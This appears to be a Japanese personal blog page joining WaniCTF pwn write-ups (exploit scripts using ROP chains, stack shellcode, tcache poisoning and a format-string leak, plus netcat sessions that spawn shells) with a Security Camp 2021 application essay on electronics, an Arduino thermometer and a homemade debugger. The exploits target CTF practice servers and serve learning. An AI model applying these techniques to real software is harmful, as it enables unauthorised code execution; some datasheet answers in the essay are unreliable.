    print(ret.decode())


def cmd_append_gets():
    io.send(b"5\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_open():
    io.send(b"6\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_read():
    io.send(b"7\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_append_write():
    io.send(b"8\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_show_arena():
    io.send(b"b\n")
    ret = read_until(b">")
    print(ret.decode())


def cmd_execute():
    io.send(b"0\n")
    io.sendline(b'./flag.txt\0')
    io.interactive()


io = pwn.remote("rop-machine-final.pwn.wanictf.org", 9005)
# io = pwn.process("./final")

ret = read_until(b">")
print(ret.decode())

buf = 0x404140 

### followings are just example junk rop codes ###
# gets
cmd_append_pop_rdi()
cmd_append_hex(buf)
cmd_append_gets()

# open
cmd_append_pop_rdi()
cmd_append_hex(buf)
cmd_append_pop_rsi()
cmd_append_hex(os.O_RDONLY)
cmd_append_open()

# read
cmd_append_pop_rdi()
cmd_append_hex(3)
cmd_append_pop_rsi()
cmd_append_hex(buf)
cmd_append_pop_rdx()
cmd_append_hex(0x50)
cmd_append_read()

# write
cmd_append_pop_rdi()
cmd_append_hex(1)
cmd_append_pop_rsi()
cmd_append_hex(buf)
cmd_append_pop_rdx()
cmd_append_hex(0x50)
cmd_append_write()

cmd_execute()

flag: FLAG{you-might-be-the-real-rop-master}

Tarinai

int vuln() {
  char Name[256];
  printf("Name @>%p\n", &Name);
  printf("Name>");
  read(0, Name, 258);
  printf("Hello %s", Name);
  return 0;
}

2バイトのBOFがあります。これによってRBPの下位2バイトを書き換えられます。RBPをNameのアドレスにすることによってmain終了時のleave命令でRSPがName+8になります。NXが無効なのでNameを以下の状態にしてシェルコードを実行しました。

+---------------+   <- Name
|   AAAAAAAA    |
+---------------+   <- Name+0x8   
|   Name+0x10   |   <- リターンアドレス  
+---------------+   <- Name+0x10
|      nop      |
|       ~       |
+---------------+
|   shellcode   |
+---------------+
from pwn import *

# p = process('chall')
p = remote('tarinai.pwn.wanictf.org', 9007)
e = ELF('chall')
context.binary = e 

p.recvuntil('@>')
stack = int(p.recvline()[:-1], 16)
print(hex(stack))

shellcode = asm(shellcraft.sh())

payload = b'A' * 8
payload += p64(stack+0x10)
payload += b'\x90' * (0x100 - len(payload) - len(shellcode))
payload += shellcode
payload += p64(stack & 0xffff)

p.sendline(payload)

p.interactive()

diva

$ ./chall 
I'm born to take flag with music
Year : 2061
command : (null)
Year : 2076
command : (null)
Year : 2081
command : (null)
Year : 2121
command : (null)
Year : 2161
command : (null)
command : (null)
I wasn't able to get the flag.

Initializing System...
Checking Available Memory...
Memory available...
Give me your code to send to the past
counter : 0
0>
1>
2>
3>
4>
5>
Change this FLAGless history!! Please...

普通に実行すると特に何もなく終了します。

  for (int i = 0; i < 6; i++) {
    textArea[i] = (char *)malloc(32 * sizeof(char));
    printf("%d>", i);

    read(0, textArea[i], 0x40);
  }

  printf("Change this FLAGless history!! Please...\n");
  counter += 1;
}

readでヒープオーバーフローを起こせます。tcache poisoningで、終了時に呼び出される__do_global_dtors_aux_fini_array_entryをmainに書き換えます。 mainに戻るとtextAreaの文字列がコマンドとして扱われて実行されます。そのコマンドの1つであるsingにはFSBがあります。

void sing(char *parameter) {
  printf("🎵");
  printf(
      parseVar(parameter)); // Looks Safe since we use % as register indicator!
  printf("🎵\n");
}

これでlibcリークして、tcache poisoningで__malloc_hookをOne Gadgetに書き換えます。

from pwn import *

# p = process('chall')
# p = remote('localhost', 7777)
p = remote('diva.pwn.wanictf.org', 9008)
e = ELF('chall')
libc = ELF('libc-2.31.so')

one_gadget = [0xe6c84, 0xe6c81, 0xe6c7e]

payload = b'A' * 0x28
payload += p64(0x31)
payload += p64(0x4034b8)    # __do_global_dtors_aux_fini_array_entry

p.sendlineafter(b'>', b'sing @@@%51$p')
p.sendlineafter(b'>', b'')
p.sendlineafter(b'>', b'')
p.sendlineafter(b'>', payload)
p.sendlineafter(b'>', b'')
p.sendlineafter(b'>', p64(e.symbols['main']))

p.recvuntil('🎵@@@')
libc.address = int(p.recvline()[:-1], 16) - 0x49be0     # __on_exit
print(hex(libc.address))

payload = b'A' * 0x28
payload += p64(0x31)
payload += p64(libc.symbols['__malloc_hook'])

p.sendlineafter(b'>', payload)
p.sendlineafter(b'>', b'')
p.sendlineafter(b'>', p64(libc.address + one_gadget[2]))
p.interactive()

flag: FLAG{in_this_dazzling_time}

セキュリティ・キャンプ全国大会2021 応募課題

セキュリティ・キャンプ全国大会2021のリバースエンジニアリングゼミに参加することになりました。最初で最後の応募だったのでとてもうれしいです。
参加を目指す方への先行のポイントに「できるだけ多く」とあったのでたくさん書きました。ただ、結構間違ってる部分があると思います(特に(3)とか)。

(0)リバエンゼミ、IoTものづくりゼミのどちらの受講を希望しますか?Xトラックの2つのゼミを併願することもOKですが、その場合はどちらが優先かを明記してください。

第1希望: リバエンゼミ
第2希望: IoTものづくりゼミ

(1)以下の技術用語について解説してください。またどのようなところで使われているかも述べてください。わからない場合は調べて、自分なりに解釈した結果を述べてください。「オームの法則」「UART」「SPI(Serial Peripheral Interface)」「I2C(I-squared-C)」「ソフトウェア無線(SDR)」

  • オームの法則
    一定の長さと太さの一様な導体上の2点間に電位差Vがあるとき、この導体には電位が高い点から低い点に向かって電流が流れる。このときに流れる電流Iは、2点間の電位差Vに比例し、V = RIの関係が成立する。比例定数Rは抵抗で、2点間の長さに比例し、導体の断面積に反比例する。また、導体内の微小領域において、電流密度の大きさをi、電位差によって生じる電場の大きさをEとすると、i = σEの関係が成立する。これは、導体内のすべての点で成り立つため、一様でない導体であっても足し合わせることでその導体の抵抗が定まる。
    電子論によってオームの法則を導く。電子の質量をm、その電荷をeとする。この電子は、導体内に分布する電場Eの作用により加速する。導体内で運動している電子は、導体を構成している電子や不純物と衝突し減速する。この衝突回数は電子の速度vに比例する。したがって、ある衝突から次の衝突までの平均時間をτとすると、導体内での運動方程式は m(dv/dt) = eE - (m/τ)vで表される。電子の動きが定常的になるとき、dv/dt = 0となるから v = (eτ/m)Eとなる。ここで導体の単位体積中に存在する自由電子の数をnとすると、単位時間に単位面積の断面を通過する電気量はenvであるから、電流密度iは i = env = (ne2τ/m)Eとなる。σ = ne2τ/mとおくと、i = σEが導かれる。σが電場の強さによらず一定であるため、オームの法則は金属と合金ではよく成り立つ。 ほとんどの電気回路で使われている法則である。

参考文献
砂川重信 (2019) 『電磁気学 -初めて学ぶ人のために-』 培風館
原康夫 (2019) 『物理学基礎』 学術図書出版社

  • UART
    Universal Asynchronous Receiver/Transmitterの頭文字で、速度を設定でき、非同期なシリアル通信を使用する、2つのデバイス間の通信プロトコルである。双方向の通信をする場合、送信機と受信機の間の2本のワイヤを使用して、ビット単位でデータを送受信する。通信方式には、一方向のみにデータを伝送する単向通信、双方向で通信できるが送受信を同時に行えない半二重通信、送受信を同時に行える全二重通信の3つがある。各デバイスには信号をやり取りするトランスミッタ(TX)とレシーバー(RX)がある。2つのデバイス間で通信するとき、送信側のデバイスにはデータを送信するデータバスが接続される。送信側のデータがワイヤを介して受信側のデバイスにビットごとに送信される(TX -> RX)。受信側のデバイスは、データを変換してデータバスに渡す。このとき、2つのデバイスでボーレートといわれる情報を転送する速度を同じ値にする必要がある。データの伝送はパケット方式で行われる。パケットは開始ビット、データフレーム、パリティビット、停止ビットからなる。データの転送を開始する際に送信側の開始ビットをハイからローに遷移させることで、受信側がそれを検出しデータフレームの読み出しが開始される。データフレームは開始ビットの直後に続き、パリティビットを使用する場合は最大9ビット、使用しない場合は5~8ビット使用される。パリティビットはデータフレームの直後の1ビットを使用してエラーを検出するために用いられる。これには、フレーム内の1の総数を偶数にする偶数パリティと奇数にする奇数パリティがある。停止ビットは1~2ビットを使用して、パケットの終わりを知らせる。
    CPUと周辺機器との通信の際に用いられ、主にコンピュータ機器、組み込みシステム、マイクロコントローラで活用されている。また、ルータなどの基盤にUARTの接続口があると未認証でシェルにアクセスできる可能性が高く、設定したパスワードなどのデバッグ情報が漏洩することがある。

参考文献
https://www.analog.com/jp/analog-dialogue/articles/uart-a-hardware-communication-protocol.html
https://www.rohde-schwarz.com/jp/products/test-and-measurement/oscilloscopes/educational-content/understanding-uart_254524.html
黒林檎、村島正浩 (2018) 『ハッカーの教科書 IoTハッキングの教科書』 データハウス

  • SPI
    Serial Peripheral Interfaceの頭文字で、コンピュータ内の通信に用いられるインターフェースの1つである。デバイスにはマスタとスレーブがあり、1つのマスタに対して複数のスレーブを接続することが出来る。一般的にはクロック(SPICLK)、チップ・セレクト(CS)、マスタ出力/スレーブ入力(MOSI)、マスタ入力/スレーブ出力(MISO)の4本の信号線で構成されている。クロック信号を生成する方をマスタと呼び、マスタとスレーブの間で送信されるデータは、クロックと同期している。100MHz程の高いクロック周波数に対応し、高速で通信することができる。マスタからのチップ・セレクト信号はスレーブの選択に使用され、スレーブを切り離したい場合はハイにする。複数のスレーブを接続するには各スレーブに対して個別のチップ・セレクト信号を送信する必要がある。通信を開始するには、マスタからクロック信号を送信するとともに、チップ・セレクト信号によりスレーブを選択する。マスタとスレーブはMOSIとMISOによって、シリアルにデータをシフトさせて出力することとデータを読み出すことを同時に行うことが出来る。また、マスタはクロックの極性と位相を選択できる。アイドル状態におけるクロック信号の極性を設定するCPOLビットとクロック信号の位相を選択するCPHAビットがあり、これらの組み合わせによりモードが決まる。スレーブに適合するように設定する必要がある。 コンピュータ内のマイクロコントローラ間の通信やフラッシュメモリなどで使われている。

参考文献
https://www.analog.com/jp/analog-dialogue/articles/introduction-to-spi-interface.html
https://learn.sparkfun.com/tutorials/serial-peripheral-interface-spi/all
https://manual.atmark-techno.com/armadillo-guide-std/armadillo-guide-std-hardware-expansion_ja-1.0.0/ch06.html

  • I2C
    Inter-Integrated Circuitの略で、オランダのフィリップス社が提唱したコンピュータ内やコンピュータ間の通信に用いられるインターフェースの1つである。デバイスにはマスタとスレーブがあり、1つのマスタに対して複数のスレーブを接続することができる。シリアルデータ(SDA)通信とシリアルクロック(SCL)信号の2つの信号を使う。マスタがシリアルクロック信号を生成し、この信号に同期してシリアルデータ信号でマスタとスレーブが双方向に通信を行う。スレーブには固有のアドレスが割り振られ、マスタがそのアドレスを指定してスレーブと通信を行う。最大3.4Mbpsで通信することができる。通信には、アドレスフォーマットとデータフォーマットがあり、アドレスフォーマットには7ビットモードと10ビットモードがある。7ビットモードの場合、通信を始めるときマスタはスレーブに対して、SCL信号がHighのときにSDA信号をHighからLowにすることでスタートコンディションを発行し、スレーブアドレスとRead/Writeコマンドを送信する。スレーブはそのアドレスが自分のものと一致するかを調べ、一致しない場合は待機状態になり、一致した場合はRead/Writeコマンドに従ってマスタとやりとりする。Readの場合、スレーブはACKを返した後に続けてマスタにデータを送信し、マスタはデータを受信した後にNAKを返す。Writeの場合は、スレーブがACKを返した後にマスタはデータを送信し、データを受信した後にスレーブはACKかNAKを返す。最後にマスタがスレーブに対して、SCL信号がHighのときにSDA信号をLowからHighにすることでストップコンディションを発行し、スレーブは待機状態になって通信が終了する。
    I2Cは低消費電力で通信できるため、様々なセンサや集積回路、マイクロコントローラに用いられている。

参考文献
https://www.digikey.jp/ja/articles/why-the-inter-integrated-circuit-bus-makes-connecting-ics-so-easy
https://www.kumikomi-kaihatu.com/technical-column/column-018/
https://emb.macnica.co.jp/articles/8191/
http://www.picfun.com/c15.html

  • ソフトウェア無線 (SDR)
    Software Defined Radioの略で、無線通信システムの機能をソフトウェアによるデジタル信号処理でハードウェアを変更せずに複数のシステムに対応できるようにすることである。一般的にソフトウェア無線機は、アナログ高周波部、変換部(A/D、D/A)、デジタル信号処理部から構成される。アナログ高周波部は、アナログの高周波(RF)信号を扱う部分である。受信側では受信したRF信号を周波数変換によってデジタル信号処理ができるベースバンド受信信号に変換する。送信側ではベースバンド送信信号を周波数変換してRF信号を送信する。変換部の受信側ではアナログのベースバンド受信信号をデジタルのベースバンド信号に変換(A/D)し、送信側ではデジタルのベースバンド信号をアナログのベースバンド送信信号に変換(D/A)する。デジタル信号処理部は、デジタルのベースバンド信号を処理する。デジタル変復調、符号化・復号化などの機能を持たせることができる。この機能をソフトウェアで柔軟に変更できるように、ハードウェアにはFPGADSPのような再構成できるものを用いる。以前は無線機を作るために専用のハードウェアや多くの工数とコストが必要だったが、ソフトウェア無線を用いることで手軽に開発できるようになり、コストを抑えられるようになった。
    SDRは、FMラジオ、テレビ、衛星通信、LTEなどのデジタル無線通信、GPSなど様々な分野で応用されている。

参考文献
https://jp.mathworks.com/discovery/sdr.html
https://www.fujitsu.com/jp/group/mtc/technology/course/sdr/
https://www.ituaj.jp/wp-content/uploads/2017/11/2017_11-05-Spot-SDR.pdf

(2)電気には直流と交流があります。どちらが感電したときに危険だと思いますか?その理由と一緒に説明して下さい。また感電はどんな工夫をすれば防げるでしょうか、思いつく限り多く挙げてください。

直流は常に一定の電圧で一定の向きに電流が流れます。一方交流は一定の周期で電圧と電流の向きが変化します。また、人の心臓は規則的に収縮して全身に血液を送り出しています。直流に感電した場合は筋肉が収縮します。交流に感電した場合は周期的な変化により心臓の収縮のリズムが崩れて全身に血液が送られなくなります。血液が送られなくなると呼吸が出来なくなったり、脳が機能しなくなり意識がなくなります。よって、交流の方が直流よりも危険だと思います。
以下のような対策が考えられます。

  • 濡れた状態で触らない
    感電したときの電流の大きさはオームの法則により電圧/抵抗で求められます。濡れた状態で触ることで抵抗が小さくなり流れる電流が大きくなります。
  • 電流が流れる部分をむき出しにしない
    電流が流れる部分を直接触れないように、被覆するべきです。
  • 壊れたものは使わない
    壊れた部分から漏電する可能性があります。
  • 接地する
    接地することで電流を地面に逃がすことができます。
  • 漏電ブレーカー
    漏電を検知することで感電を防ぎます。
  • ゴム製のものを身につける
    ゴムは電気を通しません。
  • 作業するときは肌を露出しないようにする
    電流が流れる部分を直接触れないようにします。

(3)このデータシートから、以下の情報を読み取ってください。

データシートURL:https://www.espressif.com/sites/default/files/documentation/esp32-wroom-32_datasheet_en.pdf

  • この機器は日本で使用できますか?(ヒント:技適
    番号211-161007で技適が取得されているため、日本で使用できる。
  • 電源電圧と電源ピンのピン番号はそれぞれいくつですか?
    電源電圧: 3.0V~3.6V 電源ピン: 2
  • この機器でSPI通信は使用できますか?
    4MBのSPI flashがあるためできる。
  • この機器に搭載されている水晶振動子の発振周波数はいくつですか?
    40MHz
  • GPIO 1ポートから最大何mAまでの電流を出力できますか?
    1100mA
  • GPIOに5.0Vを入力しようと思います。この機器は正常に動作しますか?
    入力電圧の絶対最大定格は3.6Vであるため、正常に動作しない。

(4)IoT温度計を作りたいと考えています。あなたならどう作りますか。できるだけ具体的に説明してください。必要に応じて図などを使ってもOKです。説明の中に、あなたのこだわりポイントを入れて説明してください。

家にあった部品で実際に作ってみました。以下の部品とマイコンを使います。

  • Arduino UNO
  • LED 1つ
  • LCD 1602A
  • LM35DZ (温度センサ)

まず、図のような回路を組みます。

次にArduinoに以下のスケッチを書き込みます。

#include <LiquidCrystal.h>

LiquidCrystal lcd(4, 6, 10, 11, 12, 13);
const int SENSOR = 5;
const int LED = 2;

void setup() {
  Serial.begin(9600);
  pinMode(LED, OUTPUT);
  lcd.begin(16, 2);
}

void loop() {
  int val = analogRead(SENSOR);
  float temp = val * (5.0 / 1023.0) * 100;
  if(temp < 30) digitalWrite(LED, LOW);
  else digitalWrite(LED, HIGH);
  lcd.clear();
  lcd.setCursor(0, 0);
  lcd.print(temp);
  if(temp < 10.0) Serial.print(0);
  Serial.println(temp);
  delay(1000);
}

まず、setup()内でシリアル通信とLEDが繋がっているピンとLCDの設定をします。loop()内では、まず温度センサの値を読み取り適切な値に変換します。analogRead()は0から5Vの電圧を0から1023に対応させるため、スケッチのような変換が必要になります。変換した値が30よりも小さい場合はLEDをOFFに、大きい場合はONにするようにします。次にLCDとシリアルポートに変換した値を書き込みます。シリアルポートに書き込むとき、値が10よりも小さい場合は、文字数の関係で正確に表示されなくなるため、0を先に書き込んでおきます。
次にArduinoと繋ぐサーバ(PC)で以下のPythonプログラムを実行します。

from flask import *
import serial

app = Flask(__name__)
ser = serial.Serial('COM3', 9600)

@app.route('/')
def index():
    temp = ser.read(7).decode()[:-2]
    return render_template('index.html', temp = temp)

if __name__ == "__main__":
    app.run(host="0.0.0.0")

flaskというWebアプリケーションフレームワークを用いてWebサーバを立ち上げます。アクセスしたときにシリアルポートの値を読み取ってindex.htmlに渡します。templatesディレクトリ下に以下のようなindex.htmlを作成します。

<!DOCTYPE html>
<html>
    <body>
        {{ temp }}
    </body>
</html>

受け取った値を表示するだけです。
この温度計は、室内で使うことを想定していて、離れたところからはWebページで温度を確認でき、近くからはLCDに表示される値で確認することができます。こだわりポイントは、30℃以上になった場合は危険を知らせるためにLEDが点灯するところです。

(5)今までにリバースエンジニアリング(分解や解析など)した経験、またはものづくりした経験を好きなだけ語って下さい。対象はソフトウェアやハードウェアに限定しません。

  • Windowsのデバッガ
    32ビットのWindowsプログラム用のデバッガを作ったことがあります。普段使っているデバッガの動作原理が気になり、実際に作ってみることにしました。レジスタの値を表示する機能とブレークポイントを設定する機能をPythonで実装しました。以下で簡単に説明させて頂きます。
    まず、CreateProcessA()でデバッガの制御下でプロセスを生成するか、DebugActiveProcess()にプロセスのPIDを渡すことで実行中のプロセスにアタッチします。ループ中でWaitForDebugEvent()を呼び出すことでデバッグイベントを捕捉でき、イベントハンドラによる処理が完了したときContinueDebugEvent()によってプロセスの実行を再開します。WaitForDebugEvent()は、この関数に渡すDEBUG_EVENT構造体に情報を設定します。このDEBUG_EVENT構造体のdwDebugEventCodeによって共用体uの型と値が決まり、この値のそれぞれにイベントハンドラを設定します。最後にDebugActiveProcessStop()でデバッガからプロセスを切り離します。また、ほとんどの関数でプロセスのハンドルが必要になるためOpenProcess()にプロセスのPIDを渡して取得します。 レジスタの状態を捕捉するには、まずデバッグ対象のプロセス中で実行されているスレッドのハンドルが必要です。これは、OpenThread()にTIDを渡すことで取得できます。次にCreateToolhelp32Snapshot()でプロセスで実行中の全てのスレッドを取得し、Thread32First()とThread32Next()でそれらを列挙します。最後にGetThreadContext()で全レジスタの値を取得します。
    ソフトウェアブレークポイントは、1バイトの命令によってプロセスの実行を停止します。あるアドレスにブレークポイントを設定するとき、ReadProcessMemory()でそのアドレスのメモリの最初の1バイトを読み取ってリストに保存し、WriteProcessMemory()で割り込み3の命令を表す1バイトに書き換えます。ブレークポイントに到達したとき、このアドレスがブレークポイントのリストに存在するかを確認し、存在する場合は保存してある1バイトを復元します。
    ハードウェアブレークポイントは、DR0からDR7の8つのデバッグレジスタを使用して設定します。DR0からDR3はブレークポイントのアドレスを保持し、DR6はブレークポイントに到達したときに引き起こされたデバッグイベントのタイプを決定し、DR7はブレークポイントの条件を保持します。CPUは命令を実行する前に、そのアドレスに対してハードウェアブレークポイントが設定されていないかを確認し、そのアドレスがDR0からDR3のいずれかに格納されていてDR7で設定された条件を満たす場合、割り込み1を引き起こし、CPUは実行を停止します。その後、各レジスタをクリアしCPUは次の命令を実行します。
    デバッガを作ることにより、プロセスの起動や中断の方法、ブレークポイントの仕組み、レジスタやメモリを操作する方法、プロセスで発生した例外を捕捉する方法などたくさんのことを知れてとても勉強になりました。今後はディスアセンブルの機能をつけたいと考えています。また、他のアーキテクチャのデバッガも作ってみたいです。

  • ELFファイル
    私は趣味でCTFに参加していてPwnと呼ばれるバイナリを解析して脆弱性を探し、脆弱性を使って攻略するという分野の問題をよく解いています。ELFファイルはPwnでよく出題されるため、今までたくさん解析してきました。主にGDB、objdump、Ghidra、readelfなどのツールを使い解析をします。特にGDBはよく使っていて、アセンブラを読んだり、プログラムによってどのようにメモリが使われるのかを解析してきました。Ghidraは主にデコンパイルするときに使っています。また、ELFファイルの解析を通して、プログラムの脆弱性について理解しました。例えば、リターンアドレスを書き換えることで任意のアドレスに処理を移すことができる原理や、mallocやfreeなどのlibcの関数の処理を悪用することによる攻撃の手法について理解しました。これに伴いNX、RELRO、Stack Canary、PIEなどのプログラムのセキュリティ機構についても理解しました。ここで先日開催されたSECCON Beginners 2021で実際に出題された問題を解いたときの手段、方法について紹介させて頂きます。
    beginners_rop
    以下のようなアセンブラのmain関数を持つプログラムが与えられます。

   0x0000000000401196 <+0>:     endbr64 
   0x000000000040119a <+4>:     push   rbp
   0x000000000040119b <+5>:     mov    rbp,rsp
   0x000000000040119e <+8>:     sub    rsp,0x100
   0x00000000004011a5 <+15>:    lea    rax,[rbp-0x100]
   0x00000000004011ac <+22>:    mov    rdi,rax
   0x00000000004011af <+25>:    call   0x401090 <gets@plt>
   0x00000000004011b4 <+30>:    lea    rax,[rbp-0x100]
   0x00000000004011bb <+37>:    mov    rdi,rax
   0x00000000004011be <+40>:    call   0x401070 <puts@plt>
   0x00000000004011c3 <+45>:    mov    eax,0x0
   0x00000000004011c8 <+50>:    leave  
   0x00000000004011c9 <+51>:    ret    

gets関数でスタックの領域に入力を書き込むことがわかります。gets関数は引数に書き込む領域だけを指定して、書き込むサイズは指定しません。書き込むサイズを指定しないと無限に入力ができることになります。今回の例で実際に無限に入力を行うとスタックにあった値を書き換えることになります。
関数が呼ばれるとき、関数の処理が終了したときに呼び出し元に戻れるようにリターンアドレスをスタックに書き込みます。このリターンアドレスを書き換えることで関数の処理が終了したときに任意のアドレスに処理を移動させることができます。今回の例ではrbp+0x8の位置にリターンアドレスがあります。GDBを使うことで以下のように確認できます。

gdb-peda$ x/gx $rbp+0x8
0x7fffffffde58: 0x00007ffff7df30b3
gdb-peda$ x/i 0x00007ffff7df30b3
   0x7ffff7df30b3 <__libc_start_main+243>:      mov    edi,eax

rbp+0x8にある値を表示し、その値は__libc_start_main+243のアドレスということがわかります。
ここではgets関数で0x108文字以上書き込むことでリターンアドレスが書き換えられることがわかります。このようにリターンアドレスを書き換えることで任意のアドレスに処理を移動させ、最終的にはシェルを起動させることができます。

  • Webアプリケーション

(6)あなたが今一番リバースエンジニアリング(分解して仕組みが知りたい)したいもの、またはものづくりしたいものを紹介して下さい。

ネットワークカメラをリバースエンジニアリングしてみたいです。理由は主に2つあります。1つ目は、ハードウェアのリバースエンジニアリングの経験がほとんどないからです。今までソフトウェアの解析ばかりやってきたので、ハードウェアを解析してみたいです。ハードウェアを解析することで、デバイスがどのような仕組みで動いてるか、ソフトウェアとどのように連携しているかなど様々なことを知れると考えています。2つ目は、ネットワークカメラの仕組みが気になったからです。どのようにカメラで撮影した映像や画像にネットワークからアクセスするのか、どのようにネットワークからカメラを操作するのか、どのように動作を検知するのか、どのように自動で追尾するのかなどに興味があります。
ネットワークカメラはネットワークからアクセスできるようにする必要があるため、Webサーバーが搭載されることが多いです。Webサーバーにアクセスすることで、ネットワークカメラの設定をしたり、ユーザーとパスワードを設定したりします。このWebページを解析することで、ネットワークからアクセスする仕組みや脆弱性がどのように悪用されるかなどを知れると思います。
バイスにはハードウェアを制御するファームウェアが内蔵されています。近年、このファームウェアを狙うサイバー攻撃が増えてきています。脆弱性を悪用することでファームウェアが改ざんされたり、ハードウェアが乗っ取られたりすることがあります。ファームウェアを解析することで、ネットワークカメラが動く仕組みやどのようにしてサイバー攻撃がされ、それをどのように防ぐのかを知れると思います。

(7)何か他にアピールしたいことがあれば、自由に書いてください。誤ったことを書いていても減点はしません。書いておきたいことはなんでも書いてください。

私は大学でデバイスや電子情報システムの基礎となる理論やシステムの開発に必要な基礎知識について学んでいます。今まで電磁気学、電気回路、信号処理などを履修してきました。
電気回路では、回路の解析方法や、オペアンプトランジスタなどの電子部品の特性などを学びました。回路の解析では、ラプラス変換微分方程式を用いた回路方程式の解き方、過渡現象、周波数応答などを学びました。シミュレーターを用いて電気回路の周波数解析、時間解析をしたことがあります。また、オペアンプを用いた反転増幅回路、非反転増幅回路や発振器、加算回路などの演算回路をシミュレーターで解析し、オペアンプの特性について理解しました。トランジスタについても同様に、エミッタ接地回路をシミュレーターで解析し、トランジスタの特性やトランジスタによってどのように入力が増幅されるのかを理解しました。
信号処理では、信号の変換や加工の仕方について学んでいます。フーリエ変換を用いた周波数解析の手法を理解しました。実際にDFT(離散フーリエ変換)のプログラムを実装し、デジタル信号をサンプリングしたことがあります。また、ハミング窓を実装したり、音声データで対数パワースペクトルを求めることによるスペクトル解析をしたことがあります。
今回応募した理由は主に2つあります。1つ目は、自身の技術力を向上させたいと思ったからです。セキュリティキャンプは、専門家や技術者の方から技術について教えて頂くことができる貴重な機会だと思っています。私は今まで独学でサイバーセキュリティを主に様々なことを学んできましたが、独学ゆえに偏った知識や未熟な点がまだ多くあると思っています。セキュリティキャンプを通して、新たな知識やものの見方のようなものを得て、自身の技術力を向上させ、可能性を広げていきたいと考えています。2つ目は、ものがどのように動くのかに興味があるからです。私はコンピュータがどのように動くのか気になって、低レイヤと呼ばれるデバイスなどの基本的な制御を行うシステムプログラムの勉強し始めました。大学で現在の学科を選択した理由にもこのことが大きく関わっています。XトラックではIoT機器を分解、解析したり実際に作ったりできると伺いました。特にリバエンゼミでは無線通信の解析を行うと伺いました。今まで無線通信の解析をすることはあまりなかったので、とても興味があります。セキュリティキャンプはそういった自分が知らなかったことを知れるいい機会だとも思っています。解析やものづくりを通してデバイスが動く仕組みについて理解していきたいと考えています。

まとめ

(1)は知識がほとんどなかったので調べながら書きました。
(2)は感電について調べていたら「殺人の教科書」というサイトを見つけて怖かったです。
(3)は自信ないです。当たってるのかな🤔
(4)はラズパイを使いたかったのですが、手元になかったのでArduinoにしました。Web開発わからないのでWebアプリの実装は雑です。
(5)は「リバースエンジニアリング」という本を読んで実装したデバッガについて書きました。CTFの問題の解説はもっと書けたのですが、とても長くなりそうなのでやめておきました。
(6)は「IoTハッキングの教科書」という本を眺めて面白そうだと思ったものを選びました。
(7)の前半は、大学で最近やった実験についてです。レポートのストレスを少し発散しました。後半はポエムです。

WaniCTF'21-spring Writeup

今年もWaniCTFに参加しました。昨年のWriteup
PwnとReversingだけ解きました。とても楽しかったです。

Pwn

01 netcat

ncするとシェルが起動してます。

$ nc netcat.pwn.wanictf.org 9001
congratulation!
please enter "ls" command
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this_is_the_same_netcat_problem_as_previous_one}
exit

flag: FLAG{this_is_the_same_netcat_problem_as_previous_one}

02 free hook

int main() {
  init();

  __free_hook = system;

  while (1) {
    command();
    list_memos();
  }
}

__free_hooksystemで書き換えられています。
これによってfreeが呼び出されたときにsystemが呼び出されます。
よって, /bin/shのアドレスを引数にfreeを呼び出せば, system("/bin/sh")が呼び出されることになります。
add memoで/bin/shを書き込んでdel memoすればシェルが起動します。

$ nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
exit

flag: FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

03 rop machine easy

ROPを練習するツール。すごい。
使い方を参考にROPします。
x86_64なので第1引数をRDIに書き込みます。

$ nc rop-easy.pwn.wanictf.org 9003

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}
exit

flag: FLAG{this-is-simple-return-oriented-programming}

04 rop machine normal

easyと同様にしてexecve("/bin/sh", 0, 0)を実行します。
第2引数はRSI, 第3引数はRDXに書き込みます。
RAXにsyscall番号0x3bを書き込んでsyscallすることで実行されます。

$ nc rop-normal.pwn.wanictf.org 9004

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 5
"pop rax; ret" is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 6
"syscall; ret" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}
exit

flag: FLAG{now-you-can-call-any-system-calls-with-syscall}

05 rop machine hard

Gadgetのアドレスを調べます。

$ ROPgadget --binary ./pwn05

使うアドレスは以下のようになりました。

pop rdi = 0x000000000040128f
pop rsi r15 = 0x0000000000401611
pop rdx = 0x000000000040129c
pop rax = 0x00000000004012a9
syscall = 0x00000000004012b6
binsh = 0x0000000000404078

normalと同様にROP chainを組みます。

$ nc rop-hard.pwn.wanictf.org 9005

[menu]
1. append hex value
8. show menu (this one)
9. show rop_arena
0. execute rop
> 1
hex value?: 0x000000000040128f
0x000000000040128f is appended
> 1
hex value?: 0x0000000000404078
0x0000000000404078 is appended
> 1
